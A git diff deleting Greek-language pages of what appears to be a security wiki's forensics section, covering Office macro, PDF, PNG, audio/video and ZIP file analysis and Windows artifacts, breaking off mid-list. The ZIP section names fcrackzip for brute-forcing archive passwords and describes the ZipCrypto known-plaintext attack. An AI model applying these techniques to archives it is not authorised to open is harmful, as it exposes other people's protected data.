στην αναγνώριση και ανάλυση ενσωματωμένων μακροεντολών, οι οποίες συχνά χρησιμεύουν ως διαδρομές για την παράδοση κακόβουλου λογισμικού, συνήθως κατεβάζοντας και εκτελώντας επιπλέον κακόβουλα φορτία. Η ανάλυση των VBA μακροεντολών μπορεί να διεξαχθεί χωρίς Microsoft Office χρησιμοποιώντας το Libre Office, το οποίο επιτρέπει την αποσφαλμάτωση με σημεία διακοπής και παρακολουθούμενες μεταβλητές. - -Η εγκατάσταση και η χρήση των **oletools** είναι απλή, με εντολές που παρέχονται για την εγκατάσταση μέσω pip και την εξαγωγή μακροεντολών από έγγραφα. Η αυτόματη εκτέλεση των μακροεντολών ενεργοποιείται από συναρτήσεις όπως `AutoOpen`, `AutoExec` ή `Document_Open`. -```bash -sudo pip3 install -U oletools -olevba -c /path/to/document #Extract macros -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md deleted file mode 100644 index e294a5810..000000000 --- a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md +++ /dev/null @@ -1,20 +0,0 @@ -# Ανάλυση αρχείων PDF - -{{#include ../../../banners/hacktricks-training.md}} - -**Για περισσότερες λεπτομέρειες ελέγξτε:** [**https://trailofbits.github.io/ctf/forensics/**](https://trailofbits.github.io/ctf/forensics/) - -Η μορφή PDF είναι γνωστή για την πολυπλοκότητά της και την ικανότητά της να αποκρύπτει δεδομένα, καθιστώντας την κεντρικό σημείο για προκλήσεις ψηφιακής εγκληματολογίας CTF. Συνδυάζει στοιχεία απλού κειμένου με δυαδικά αντικείμενα, τα οποία μπορεί να είναι συμπιεσμένα ή κρυπτογραφημένα, και μπορεί να περιλαμβάνει σενάρια σε γλώσσες όπως JavaScript ή Flash. Για να κατανοήσετε τη δομή του PDF, μπορείτε να ανατρέξετε στο [εισαγωγικό υλικό](https://blog.didierstevens.com/2008/04/09/quickpost-about-the-physical-and-logical-structure-of-pdf-files/) του Didier Stevens ή να χρησιμοποιήσετε εργαλεία όπως ένας επεξεργαστής κειμένου ή ένας ειδικός επεξεργαστής PDF όπως το Origami. - -Για σε βάθος εξερεύνηση ή χειρισμό PDF, είναι διαθέσιμα εργαλεία όπως το [qpdf](https://github.com/qpdf/qpdf) και το [Origami](https://github.com/mobmewireless/origami-pdf). Τα κρυμμένα δεδομένα μέσα σε PDF μπορεί να είναι αποκρυμμένα σε: - -- Αόρατα επίπεδα -- Μορφή μεταδεδομένων XMP από την Adobe -- Σταδιακές γενιές -- Κείμενο με το ίδιο χρώμα όπως το φόντο -- Κείμενο πίσω από εικόνες ή επικαλυπτόμενες εικόνες -- Μη εμφανιζόμενα σχόλια - -Για προσαρμοσμένη ανάλυση PDF, μπορούν να χρησιμοποιηθούν βιβλιοθήκες Python όπως το [PeepDF](https://github.com/jesparza/peepdf) για τη δημιουργία ειδικών σεναρίων ανάλυσης. Επιπλέον, η δυνατότητα του PDF για αποθήκευση κρυφών δεδομένων είναι τόσο εκτενής που πόροι όπως ο οδηγός της NSA για τους κινδύνους και τα μέτρα κατά των PDF, αν και δεν φιλοξενούνται πλέον στην αρχική τους τοποθεσία, προσφέρουν ακόμα πολύτιμες πληροφορίες. Ένας [αντίγραφος του οδηγού](http://www.itsecure.hu/library/file/Biztons%C3%A1gi%20%C3%BAtmutat%C3%B3k/Alkalmaz%C3%A1sok/Hidden%20Data%20and%20Metadata%20in%20Adobe%20PDF%20Files.pdf) και μια συλλογή από [κόλπα μορφής PDF](https://github.com/corkami/docs/blob/master/PDF/PDF.md) από τον Ange Albertini μπορούν να προσφέρουν περαιτέρω ανάγνωση στο θέμα. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/png-tricks.md b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/png-tricks.md deleted file mode 100644 index d9c4d9e5b..000000000 --- a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/png-tricks.md +++ /dev/null @@ -1,9 +0,0 @@ -{{#include ../../../banners/hacktricks-training.md}} - -**Τα αρχεία PNG** εκτιμώνται ιδιαίτερα σε **CTF challenges** για τη **χωρίς απώλειες συμπίεση**, καθιστώντας τα ιδανικά για την ενσωμάτωση κρυφών δεδομένων. Εργαλεία όπως το **Wireshark** επιτρέπουν την ανάλυση των αρχείων PNG διαχωρίζοντας τα δεδομένα τους μέσα σε πακέτα δικτύου, αποκαλύπτοντας ενσωματωμένες πληροφορίες ή ανωμαλίες. - -Για τον έλεγχο της ακεραιότητας των αρχείων PNG και την επισκευή της διαφθοράς, το **pngcheck** είναι ένα κρίσιμο εργαλείο, προσφέροντας λειτουργικότητα γραμμής εντολών για την επικύρωση και διάγνωση των αρχείων PNG ([pngcheck](http://libpng.org/pub/png/apps/pngcheck.html)). Όταν τα αρχεία είναι πέρα από απλές διορθώσεις, διαδικτυακές υπηρεσίες όπως το [OfficeRecovery's PixRecovery](https://online.officerecovery.com/pixrecovery/) παρέχουν μια διαδικτυακή λύση για **την επισκευή κατεστραμμένων PNG**, βοηθώντας στην ανάκτηση κρίσιμων δεδομένων για τους συμμετέχοντες σε CTF. - -Αυτές οι στρατηγικές υπογραμμίζουν τη σημασία μιας ολοκληρωμένης προσέγγισης στα CTFs, αξιοποιώντας ένα μείγμα αναλυτικών εργαλείων και τεχνικών επισκευής για την αποκάλυψη και ανάκτηση κρυφών ή χαμένων δεδομένων. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/video-and-audio-file-analysis.md b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/video-and-audio-file-analysis.md deleted file mode 100644 index 9125f02fc..000000000 --- a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/video-and-audio-file-analysis.md +++ /dev/null @@ -1,17 +0,0 @@ -{{#include ../../../banners/hacktricks-training.md}} - -**Η χειραγώγηση αρχείων ήχου και βίντεο** είναι βασικό στοιχείο στις **προκλήσεις ψηφιακής εγκληματολογίας CTF**, αξιοποιώντας **στεγανографία** και ανάλυση μεταδεδομένων για να κρύψει ή να αποκαλύψει μυστικά μηνύματα. Εργαλεία όπως το **[mediainfo](https://mediaarea.net/en/MediaInfo)** και το **`exiftool`** είναι απαραίτητα για την επιθεώρηση μεταδεδομένων αρχείων και την αναγνώριση τύπων περιεχομένου. - -Για προκλήσεις ήχου, το **[Audacity](http://www.audacityteam.org/)** ξεχωρίζει ως ένα κορυφαίο εργαλείο για την προβολή κυματομορφών και την ανάλυση φασματογραμμάτων, απαραίτητο για την αποκάλυψη κειμένου που έχει κωδικοποιηθεί σε ήχο. Το **[Sonic Visualiser](http://www.sonicvisualiser.org/)** συνιστάται ιδιαίτερα για λεπτομερή ανάλυση φασματογραμμάτων. Το **Audacity** επιτρέπει τη χειραγώγηση ήχου όπως η επιβράδυνση ή η αναστροφή κομματιών για την ανίχνευση κρυμμένων μηνυμάτων. Το **[Sox](http://sox.sourceforge.net/)**, ένα εργαλείο γραμμής εντολών, διαπρέπει στη μετατροπή και επεξεργασία αρχείων ήχου. - -**Η χειραγώγηση των λιγότερο σημαντικών bit (LSB)** είναι μια κοινή τεχνική στη στεγανографία ήχου και βίντεο, εκμεταλλευόμενη τα σταθερού μεγέθους κομμάτια των αρχείων πολυμέσων για να ενσωματώσει δεδομένα διακριτικά. Το **[Multimon-ng](http://tools.kali.org/wireless-attacks/multimon-ng)** είναι χρήσιμο για την αποκωδικοποίηση μηνυμάτων που είναι κρυμμένα ως **DTMF τόνοι** ή **κωδικός Μορς**. - -Οι προκλήσεις βίντεο συχνά περιλαμβάνουν μορφές κοντέινερ που συνδυάζουν ροές ήχου και βίντεο. Το **[FFmpeg](http://ffmpeg.org/)** είναι το εργαλείο αναφοράς για την ανάλυση και χειραγώγηση αυτών των μορφών, ικανό να απο-πολυπλέκει και να αναπαράγει περιεχόμενο. Για προγραμματιστές, το **[ffmpy](http://ffmpy.readthedocs.io/en/latest/examples.html)** ενσωματώνει τις δυνατότητες του FFmpeg σε Python για προηγμένες αλληλεπιδράσεις μέσω σεναρίων. - -Αυτή η σειρά εργαλείων υπογραμμίζει την ευελιξία που απαιτείται στις προκλήσεις CTF, όπου οι συμμετέχοντες πρέπει να χρησιμοποιήσουν ένα ευρύ φάσμα τεχνικών ανάλυσης και χειραγώγησης για να αποκαλύψουν κρυμμένα δεδομένα μέσα σε αρχεία ήχου και βίντεο. - -## Αναφορές - -- [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks.md b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks.md deleted file mode 100644 index 7a5833e09..000000000 --- a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks.md +++ /dev/null @@ -1,21 +0,0 @@ -# ZIPs tricks - -{{#include ../../../banners/hacktricks-training.md}} - -**Εργαλεία γραμμής εντολών** για τη διαχείριση **zip αρχείων** είναι απαραίτητα για τη διάγνωση, επισκευή και σπάσιμο zip αρχείων. Ακολουθούν μερικά βασικά εργαλεία: - -- **`unzip`**: Αποκαλύπτει γιατί ένα zip αρχείο μπορεί να μην αποσυμπιέζεται. -- **`zipdetails -v`**: Προσφέρει λεπτομερή ανάλυση των πεδίων μορφής zip αρχείου. -- **`zipinfo`**: Λίστα περιεχομένων ενός zip αρχείου χωρίς να τα εξάγει. -- **`zip -F input.zip --out output.zip`** και **`zip -FF input.zip --out output.zip`**: Προσπαθούν να επισκευάσουν κατεστραμμένα zip αρχεία. -- **[fcrackzip](https://github.com/hyc/fcrackzip)**: Ένα εργαλείο για brute-force σπάσιμο κωδικών zip, αποτελεσματικό για κωδικούς έως περίπου 7 χαρακτήρες. - -Η [προδιαγραφή μορφής zip αρχείου](https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT) παρέχει λεπτομερείς πληροφορίες σχετικά με τη δομή και τα πρότυπα των zip αρχείων. - -Είναι κρίσιμο να σημειωθεί ότι τα zip αρχεία που προστατεύονται με κωδικό **δεν κρυπτογραφούν τα ονόματα αρχείων ή τα μεγέθη αρχείων** εντός τους, μια αδυναμία ασφαλείας που δεν μοιράζονται τα RAR ή 7z αρχεία που κρυπτογραφούν αυτές τις πληροφορίες. Επιπλέον, τα zip αρχεία που κρυπτογραφούνται με την παλαιότερη μέθοδο ZipCrypto είναι ευάλωτα σε **επίθεση απλού κειμένου** αν είναι διαθέσιμη μια μη κρυπτογραφημένη αντίγραφο ενός συμπιεσμένου αρχείου. Αυτή η επίθεση εκμεταλλεύεται το γνωστό περιεχόμενο για να σπάσει τον κωδικό του zip, μια ευπάθεια που αναλύεται στο [άρθρο του HackThis](https://www.hackthis.co.uk/articles/known-plaintext-attack-cracking-zip-files) και εξηγείται περαιτέρω σε [αυτή την ακαδημαϊκή εργασία](https://www.cs.auckland.ac.nz/~mike/zipattacks.pdf). Ωστόσο, τα zip αρχεία που ασφαλίζονται με κρυπτογράφηση **AES-256** είναι ανθεκτικά σε αυτή την επίθεση απλού κειμένου, επιδεικνύοντας τη σημασία της επιλογής ασφαλών μεθόδων κρυπτογράφησης για ευαίσθητα δεδομένα. - -## References - -- [https://michael-myers.github.io/blog/categories/ctf/](https://michael-myers.github.io/blog/categories/ctf/) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/windows-forensics/README.md b/src/forensics/basic-forensic-methodology/windows-forensics/README.md deleted file mode 100644 index e404f4fe4..000000000 --- a/src/forensics/basic-forensic-methodology/windows-forensics/README.md +++ /dev/null @@ -1,498 +0,0 @@ -# Windows Artifacts - -## Windows Artifacts - -{{#include ../../../banners/hacktricks-training.md}} - - -## Generic Windows Artifacts - -### Windows 10 Notifications - -Στο μονοπάτι `\Users\\AppData\Local\Microsoft\Windows\Notifications` μπορείτε να βρείτε τη βάση δεδομένων `appdb.dat` (πριν από την επέτειο των Windows) ή `wpndatabase.db` (μετά την επέτειο των Windows). - -Μέσα σε αυτή τη βάση δεδομένων SQLite, μπορείτε να βρείτε τον πίνακα `Notification` με όλες τις ειδοποιήσεις (σε μορφή XML) που μπορεί να περιέχουν ενδιαφέροντα δεδομένα. - -### Timeline - -Το Timeline είναι μια χαρακτηριστική δυνατότητα των Windows που παρέχει **χρονολογική ιστορία** των ιστοσελίδων που επισκέφτηκαν, των επεξεργασμένων εγγράφων και των εκτελούμενων εφαρμογών. - -Η βάση δεδομένων βρίσκεται στο μονοπάτι `\Users\\AppData\Local\ConnectedDevicesPlatform\\ActivitiesCache.db`. Αυτή η βάση δεδομένων μπορεί να ανοιχτεί με ένα εργαλείο SQLite ή με το εργαλείο [**WxTCmd**](https://github.com/EricZimmerman/WxTCmd) **το οποίο δημιουργεί 2 αρχεία που μπορούν να ανοιχτούν με το εργαλείο** [**TimeLine Explorer**](https://ericzimmerman.github.io/#!index.md). - -### ADS (Alternate Data Streams) - -Τα αρχεία που έχουν κατέβει μπορεί να περιέχουν το **ADS Zone.Identifier** που υποδεικνύει **πώς** κατέβηκαν από το intranet, internet, κ.λπ. Ορισμένα λογισμικά (όπως οι περιηγητές) συνήθως προσθέτουν ακόμη **περισσότερες** **πληροφορίες** όπως το **URL** από όπου κατέβηκε το αρχείο. - -## **File Backups** - -### Recycle Bin - -Στα Vista/Win7/Win8/Win10 ο **Κάδος Ανακύκλωσης** μπορεί να βρεθεί στον φάκελο **`$Recycle.bin`** στη ρίζα της μονάδας δίσκου (`C:\$Recycle.bin`).\ -Όταν διαγράφεται ένα αρχείο σε αυτόν τον φάκελο, δημιουργούνται 2 συγκεκριμένα αρχεία: - -- `$I{id}`: Πληροφορίες αρχείου (η ημερομηνία που διαγράφηκε) -- `$R{id}`: Περιεχόμενο του αρχείου - -![](<../../../images/image (486).png>) - -Έχοντας αυτά τα αρχεία, μπορείτε να χρησιμοποιήσετε το εργαλείο [**Rifiuti**](https://github.com/abelcheung/rifiuti2) για να αποκτήσετε τη διεύθυνση του αρχικού αρχείου που διαγράφηκε και την ημερομηνία που διαγράφηκε (χρησιμοποιήστε `rifiuti-vista.exe` για Vista – Win10). -``` -.\rifiuti-vista.exe C:\Users\student\Desktop\Recycle -``` -![](<../../../images/image (495) (1) (1) (1).png>) - -### Αντίγραφα Σκιάς Όγκου - -Το Shadow Copy είναι μια τεχνολογία που περιλαμβάνεται στα Microsoft Windows και μπορεί να δημιουργήσει **αντίγραφα ασφαλείας** ή στιγμιότυπα αρχείων ή όγκων υπολογιστή, ακόμη και όταν είναι σε χρήση. - -Αυτά τα αντίγραφα ασφαλείας βρίσκονται συνήθως στο `\System Volume Information` από τη ρίζα του συστήματος αρχείων και το όνομα αποτελείται από **UIDs** που εμφανίζονται στην παρακάτω εικόνα: - -![](<../../../images/image (520).png>) - -Τοποθετώντας την εικόνα εγκληματολογίας με το **ArsenalImageMounter**, το εργαλείο [**ShadowCopyView**](https://www.nirsoft.net/utils/shadow_copy_view.html) μπορεί να χρησιμοποιηθεί για να επιθεωρήσει ένα αντίγραφο σκιάς και ακόμη και να **εξάγει τα αρχεία** από τα αντίγραφα ασφαλείας του αντίγραφου σκιάς. - -![](<../../../images/image (521).png>) - -Η καταχώρηση μητρώου `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\BackupRestore` περιέχει τα αρχεία και τα κλειδιά **για να μην δημιουργηθούν αντίγραφα ασφαλείας**: - -![](<../../../images/image (522).png>) - -Το μητρώο `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VSS` περιέχει επίσης πληροφορίες ρύθμισης σχετικά με τα `Volume Shadow Copies`. - -### Αυτόματα Αποθηκευμένα Αρχεία Office - -Μπορείτε να βρείτε τα αυτόματα αποθηκευμένα αρχεία του Office στο: `C:\Usuarios\\AppData\Roaming\Microsoft{Excel|Word|Powerpoint}\` - -## Στοιχεία Shell - -Ένα στοιχείο shell είναι ένα στοιχείο που περιέχει πληροφορίες σχετικά με το πώς να αποκτήσετε πρόσβαση σε ένα άλλο αρχείο. - -### Πρόσφατα Έγγραφα (LNK) - -Τα Windows **δημιουργούν αυτόματα** αυτές τις **συντομεύσεις** όταν ο χρήστης **ανοίγει, χρησιμοποιεί ή δημιουργεί ένα αρχείο** σε: - -- Win7-Win10: `C:\Users\\AppData\Roaming\Microsoft\Windows\Recent\` -- Office: `C:\Users\\AppData\Roaming\Microsoft\Office\Recent\` - -Όταν δημιουργείται ένας φάκελος, δημιουργείται επίσης ένας σύνδεσμος προς τον φάκελο, προς τον γονικό φάκελο και προς τον παππού φάκελο. - -Αυτά τα αυτόματα δημιουργημένα αρχεία σύνδεσης **περιέχουν πληροφορίες σχετικά με την προέλευση** όπως αν είναι ένα **αρχείο** **ή** ένας **φάκελος**, **MAC** **χρόνοι** αυτού του αρχείου, **πληροφορίες όγκου** σχετικά με το πού είναι αποθηκευμένο το αρχείο και **φάκελο του αρχείου στόχου**. Αυτές οι πληροφορίες μπορεί να είναι χρήσιμες για την ανάκτηση αυτών των αρχείων σε περίπτωση που έχουν αφαιρεθεί. - -Επίσης, η **ημερομηνία δημιουργίας του συνδέσμου** είναι η πρώτη **φορά** που χρησιμοποιήθηκε το αρχικό αρχείο και η **ημερομηνία** **τροποποίησης** του αρχείου σύνδεσης είναι η **τελευταία** **φορά** που χρησιμοποιήθηκε το αρχικό αρχείο. - -Για να επιθεωρήσετε αυτά τα αρχεία μπορείτε να χρησιμοποιήσετε [**LinkParser**](http://4discovery.com/our-tools/). - -Σε αυτό το εργαλείο θα βρείτε **2 σύνολα** χρονικών σημείων: - -- **Πρώτο Σύνολο:** -1. FileModifiedDate -2. FileAccessDate -3. FileCreationDate -- **Δεύτερο Σύνολο:** -1. LinkModifiedDate -2. LinkAccessDate -3. LinkCreationDate. - -Το πρώτο σύνολο χρονικών σημείων αναφέρεται στα **χρονικά σημεία του αρχείου αυτού καθαυτού**. Το δεύτερο σύνολο αναφέρεται στα **χρονικά σημεία του συνδεδεμένου αρχείου**. - -Μπορείτε να αποκτήσετε τις ίδιες πληροφορίες εκτελώντας το εργαλείο CLI των Windows: [**LECmd.exe**](https://github.com/EricZimmerman/LECmd) -``` -LECmd.exe -d C:\Users\student\Desktop\LNKs --csv C:\Users\student\Desktop\LNKs -``` -Σε αυτή την περίπτωση, οι πληροφορίες θα αποθηκευτούν μέσα σε ένα αρχείο CSV. - -### Jumplists - -Αυτά είναι τα πρόσφατα αρχεία που υποδεικνύονται ανά εφαρμογή. Είναι η λίστα των **πρόσφατων αρχείων που χρησιμοποιούνται από μια εφαρμογή** που μπορείτε να έχετε πρόσβαση σε κάθε εφαρμογή. Μπορούν να δημιουργηθούν **αυτόματα ή να είναι προσαρμοσμένα**. - -Οι **jumplists** που δημιουργούνται αυτόματα αποθηκεύονται στο `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\`. Οι jumplists ονομάζονται ακολουθώντας τη μορφή `{id}.autmaticDestinations-ms` όπου το αρχικό ID είναι το ID της εφαρμογής. - -Οι προσαρμοσμένες jumplists αποθηκεύονται στο `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\CustomDestination\` και δημιουργούνται από την εφαρμογή συνήθως επειδή κάτι **σημαντικό** έχει συμβεί με το αρχείο (ίσως έχει επισημανθεί ως αγαπημένο). - -Ο **χρόνος δημιουργίας** οποιασδήποτε jumplist υποδεικνύει **την πρώτη φορά που το αρχείο προσπελάστηκε** και τον **χρόνο τροποποίησης την τελευταία φορά**. - -Μπορείτε να επιθεωρήσετε τις jumplists χρησιμοποιώντας [**JumplistExplorer**](https://ericzimmerman.github.io/#!index.md). - -![](<../../../images/image (474).png>) - -(_Σημειώστε ότι οι χρονικές σφραγίδες που παρέχονται από το JumplistExplorer σχετίζονται με το αρχείο jumplist_) - -### Shellbags - -[**Ακολουθήστε αυτόν τον σύνδεσμο για να μάθετε τι είναι τα shellbags.**](interesting-windows-registry-keys.md#shellbags) - -## Χρήση USB Windows - -Είναι δυνατόν να προσδιοριστεί ότι μια συσκευή USB χρησιμοποιήθηκε χάρη στη δημιουργία: - -- Φακέλου Πρόσφατων Windows -- Φακέλου Πρόσφατων Microsoft Office -- Jumplists - -Σημειώστε ότι κάποια αρχεία LNK αντί να δείχνουν στο αρχικό μονοπάτι, δείχνουν στο φάκελο WPDNSE: - -![](<../../../images/image (476).png>) - -Τα αρχεία στον φάκελο WPDNSE είναι ένα αντίγραφο των αρχικών, επομένως δεν θα επιβιώσουν από μια επανεκκίνηση του υπολογιστή και το GUID λαμβάνεται από ένα shellbag. - -### Πληροφορίες Μητρώου - -[Ελέγξτε αυτή τη σελίδα για να μάθετε](interesting-windows-registry-keys.md#usb-information) ποια κλειδιά μητρώου περιέχουν ενδιαφέρουσες πληροφορίες σχετικά με τις συνδεδεμένες συσκευές USB. - -### setupapi - -Ελέγξτε το αρχείο `C:\Windows\inf\setupapi.dev.log` για να λάβετε τις χρονικές σφραγίδες σχετικά με το πότε πραγματοποιήθηκε η σύνδεση USB (αναζητήστε `Section start`). - -![](<../../../images/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (14).png>) - -### USB Detective - -[**USBDetective**](https://usbdetective.com) μπορεί να χρησιμοποιηθεί για να αποκτήσει πληροφορίες σχετικά με τις συσκευές USB που έχουν συνδεθεί σε μια εικόνα. - -![](<../../../images/image (483).png>) - -### Καθαρισμός Plug and Play - -Η προγραμματισμένη εργασία που είναι γνωστή ως 'Καθαρισμός Plug and Play' έχει σχεδιαστεί κυρίως για την αφαίρεση παλαιών εκδόσεων οδηγών. Αντίθετα με τον καθορισμένο σκοπό της διατήρησης της τελευταίας έκδοσης του πακέτου οδηγών, διαδικτυακές πηγές υποδεικνύουν ότι στοχεύει επίσης σε οδηγούς που έχουν μείνει ανενεργοί για 30 ημέρες. Ως εκ τούτου, οι οδηγοί για αφαιρούμενες συσκευές που δεν έχουν συνδεθεί τις τελευταίες 30 ημέρες ενδέχεται να υποβληθούν σε διαγραφή. - -Η εργασία βρίσκεται στο παρακάτω μονοπάτι: -`C:\Windows\System32\Tasks\Microsoft\Windows\Plug and Play\Plug and Play Cleanup`. - -Μια στιγμιότυπο οθόνης που απεικονίζει το περιεχόμενο της εργασίας παρέχεται: -![](https://2.bp.blogspot.com/-wqYubtuR_W8/W19bV5S9XyI/AAAAAAAANhU/OHsBDEvjqmg9ayzdNwJ4y2DKZnhCdwSMgCLcBGAs/s1600/xml.png) - -**Κύρια Συστατικά και Ρυθμίσεις της Εργασίας:** - -- **pnpclean.dll**: Αυτό το DLL είναι υπεύθυνο για τη διαδικασία καθαρισμού. -- **UseUnifiedSchedulingEngine**: Ρυθμισμένο σε `TRUE`, υποδεικνύει τη χρήση της γενικής μηχανής προγραμματισμού εργασιών. -- **MaintenanceSettings**: -- **Period ('P1M')**: Κατευθύνει τον Προγραμματιστή Εργασιών να ξεκινήσει την εργασία καθαρισμού μηνιαία κατά τη διάρκεια της κανονικής Αυτόματης συντήρησης. -- **Deadline ('P2M')**: Δίνει οδηγίες στον Προγραμματιστή Εργασιών, εάν η εργασία αποτύχει για δύο συνεχόμενους μήνες, να εκτελέσει την εργασία κατά τη διάρκεια της επείγουσας Αυτόματης συντήρησης. - -Αυτή η ρύθμιση εξασφαλίζει τακτική συντήρηση και καθαρισμό των οδηγών, με διατάξεις για επανεξέταση της εργασίας σε περίπτωση συνεχών αποτυχιών. - -**Για περισσότερες πληροφορίες ελέγξτε:** [**https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html**](https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html) - -## Emails - -Τα emails περιέχουν **2 ενδιαφέροντα μέρη: Τα headers και το περιεχόμενο** του email. Στα **headers** μπορείτε να βρείτε πληροφορίες όπως: - -- **Ποιος** έστειλε τα emails (διεύθυνση email, IP, mail servers που έχουν ανακατευθύνει το email) -- **Πότε** εστάλη το email - -Επίσης, μέσα στα headers `References` και `In-Reply-To` μπορείτε να βρείτε το ID των μηνυμάτων: - -![](<../../../images/image (484).png>) - -### Windows Mail App - -Αυτή η εφαρμογή αποθηκεύει emails σε HTML ή κείμενο. Μπορείτε να βρείτε τα emails μέσα σε υποφακέλους στο `\Users\\AppData\Local\Comms\Unistore\data\3\`. Τα emails αποθηκεύονται με την επέκταση `.dat`. - -Τα **μεταδεδομένα** των emails και οι **επαφές** μπορούν να βρεθούν μέσα στη **βάση δεδομένων EDB**: `\Users\\AppData\Local\Comms\UnistoreDB\store.vol` - -**Αλλάξτε την επέκταση** του αρχείου από `.vol` σε `.edb` και μπορείτε να χρησιμοποιήσετε το εργαλείο [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html) για να το ανοίξετε. Μέσα στον πίνακα `Message` μπορείτε να δείτε τα emails. - -### Microsoft Outlook - -Όταν χρησιμοποιούνται διακομιστές Exchange ή πελάτες Outlook, θα υπάρχουν κάποια headers MAPI: - -- `Mapi-Client-Submit-Time`: Χρόνος του συστήματος όταν εστάλη το email -- `Mapi-Conversation-Index`: Αριθμός μηνυμάτων παιδιών της συνομιλίας και χρονική σφραγίδα κάθε μηνύματος της συνομιλίας -- `Mapi-Entry-ID`: Αναγνωριστικό μηνύματος. -- `Mappi-Message-Flags` και `Pr_last_Verb-Executed`: Πληροφορίες σχετικά με τον πελάτη MAPI (μήνυμα διαβασμένο; μη διαβασμένο; απαντήθηκε; ανακατευθύνθηκε; εκτός γραφείου;) - -Στον πελάτη Microsoft Outlook, όλα τα αποσταλμένα/ληφθέντα μηνύματα, δεδομένα επαφών και δεδομένα ημερολογίου αποθηκεύονται σε ένα αρχείο PST σε: - -- `%USERPROFILE%\Local Settings\Application Data\Microsoft\Outlook` (WinXP) -- `%USERPROFILE%\AppData\Local\Microsoft\Outlook` - -Η διαδρομή μητρώου `HKEY_CURRENT_USER\Software\Microsoft\WindowsNT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook` υποδεικνύει το αρχείο που χρησιμοποιείται. - -Μπορείτε να ανοίξετε το αρχείο PST χρησιμοποιώντας το εργαλείο [**Kernel PST Viewer**](https://www.nucleustechnologies.com/es/visor-de-pst.html). - -![](<../../../images/image (485).png>) - -### Microsoft Outlook OST Files - -Ένα **OST αρχείο** δημιουργείται από το Microsoft Outlook όταν είναι ρυθμισμένο με **IMAP** ή έναν **Exchange** διακομιστή, αποθηκεύοντας παρόμοιες πληροφορίες με ένα αρχείο PST. Αυτό το αρχείο συγχρονίζεται με τον διακομιστή, διατηρώντας δεδομένα για **τους τελευταίους 12 μήνες** έως **μέγιστο μέγεθος 50GB**, και βρίσκεται στον ίδιο φάκελο με το αρχείο PST. Για να δείτε ένα OST αρχείο, μπορείτε να χρησιμοποιήσετε τον [**Kernel OST viewer**](https://www.nucleustechnologies.com/ost-viewer.html). - -### Ανάκτηση Συνημμένων - -Χαμένα συνημμένα μπορεί να είναι ανακτήσιμα από: - -- Για **IE10**: `%APPDATA%\Local\Microsoft\Windows\Temporary Internet Files\Content.Outlook` -- Για **IE11 και άνω**: `%APPDATA%\Local\Microsoft\InetCache\Content.Outlook` - -### Thunderbird MBOX Files - -**Thunderbird** χρησιμοποιεί **MBOX αρχεία** για να αποθηκεύσει δεδομένα, που βρίσκονται στο `\Users\%USERNAME%\AppData\Roaming\Thunderbird\Profiles`. - -### Εικόνες Μικρογραφιών - -- **Windows XP και 8-8.1**: Η πρόσβαση σε έναν φάκελο με μικρογραφίες δημιουργεί ένα αρχείο `thumbs.db` που αποθηκεύει προεπισκοπήσεις εικόνας, ακόμη και μετά τη διαγραφή. -- **Windows 7/10**: Το `thumbs.db` δημιουργείται όταν προσπελάζεται μέσω δικτύου μέσω UNC διαδρομής. -- **Windows Vista και νεότερες εκδόσεις**: Οι προεπισκοπήσεις μικρογραφιών κεντρικοποιούνται στο `%userprofile%\AppData\Local\Microsoft\Windows\Explorer` με αρχεία που ονομάζονται **thumbcache_xxx.db**. [**Thumbsviewer**](https://thumbsviewer.github.io) και [**ThumbCache Viewer**](https://thumbcacheviewer.github.io) είναι εργαλεία για την προβολή αυτών των αρχείων. - -### Πληροφορίες Μητρώου Windows - -Το Μητρώο Windows, που αποθηκεύει εκτενή δεδομένα συστήματος και δραστηριότητας χρηστών, περιέχεται σε αρχεία σε: - -- `%windir%\System32\Config` για διάφορους υποκλειδιά `HKEY_LOCAL_MACHINE`. -- `%UserProfile%{User}\NTUSER.DAT` για `HKEY_CURRENT_USER`. -- Οι εκδόσεις Windows Vista και νεότερες δημιουργούν αντίγραφα ασφαλείας των αρχείων μητρώου `HKEY_LOCAL_MACHINE` στο `%Windir%\System32\Config\RegBack\`. -- Επιπλέον, οι πληροφορίες εκτέλεσης προγραμμάτων αποθηκεύονται στο `%UserProfile%\{User}\AppData\Local\Microsoft\Windows\USERCLASS.DAT` από τα Windows Vista και Windows 2008 Server και μετά. - -### Εργαλεία - -Ορισμένα εργαλεία είναι χρήσιμα για την ανάλυση των αρχείων μητρώου: - -- **Registry Editor**: Είναι εγκατεστημένο στα Windows. Είναι ένα GUI για να περιηγηθείτε στο μητρώο Windows της τρέχουσας συνεδρίας. -- [**Registry Explorer**](https://ericzimmerman.github.io/#!index.md): Σας επιτρέπει να 